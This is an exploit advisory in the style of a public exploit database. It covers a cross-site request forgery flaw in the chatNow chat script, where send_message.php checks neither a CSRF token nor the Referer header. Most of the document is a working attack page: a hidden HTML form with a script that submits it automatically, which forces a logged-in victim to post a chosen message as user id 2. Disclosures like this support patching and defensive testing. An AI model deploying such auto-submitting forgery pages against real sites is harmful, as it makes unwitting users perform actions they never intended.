# Exploit Title: chatNow - CSRF(Send MSG)
# Date: 2016-08-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://chatnow.thiagosf.net/
# Software Link: https://github.com/thiagosf/chatNow/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

### Vulnerability
'send_message.php' is not check the csrf token or referer header.
It is possible CSRF Attack.

### Attack Code
<form name="csrf_poc" action="https://127.0.0.1/vul_test/chatNow/send_message.php" method="POST">
<input type="hidden" name="to_user" value="0">
<input type="hidden" name="scroll_page" value="on">
<input type="hidden" name="id_user" value="2">
<input type="hidden" name="message" value="CSRF">
<input type="hidden" name="reserved" value="false">

<input type="submit" value="Attack!">
</form>

<script type="text/javascript">document.forms.csrf_poc.submit();</script>